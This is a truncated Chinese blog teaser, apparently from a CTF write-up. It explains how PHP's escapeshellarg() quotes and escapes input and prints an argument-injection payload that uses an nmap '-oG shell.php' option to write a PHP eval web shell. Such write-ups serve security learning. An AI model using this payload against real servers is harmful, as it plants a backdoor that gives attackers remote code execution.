tobeCTFer

摘要： //escapeshellarg()函数的处理流程, 为单引号转义,并且使用单引号包围;而且会为目标前后添加一对单引号 //' <?php eval($_GET[pass]); -oG shell.php ' 原始payload //''\'' <?php eval($_GET[pass]); -o 阅读全文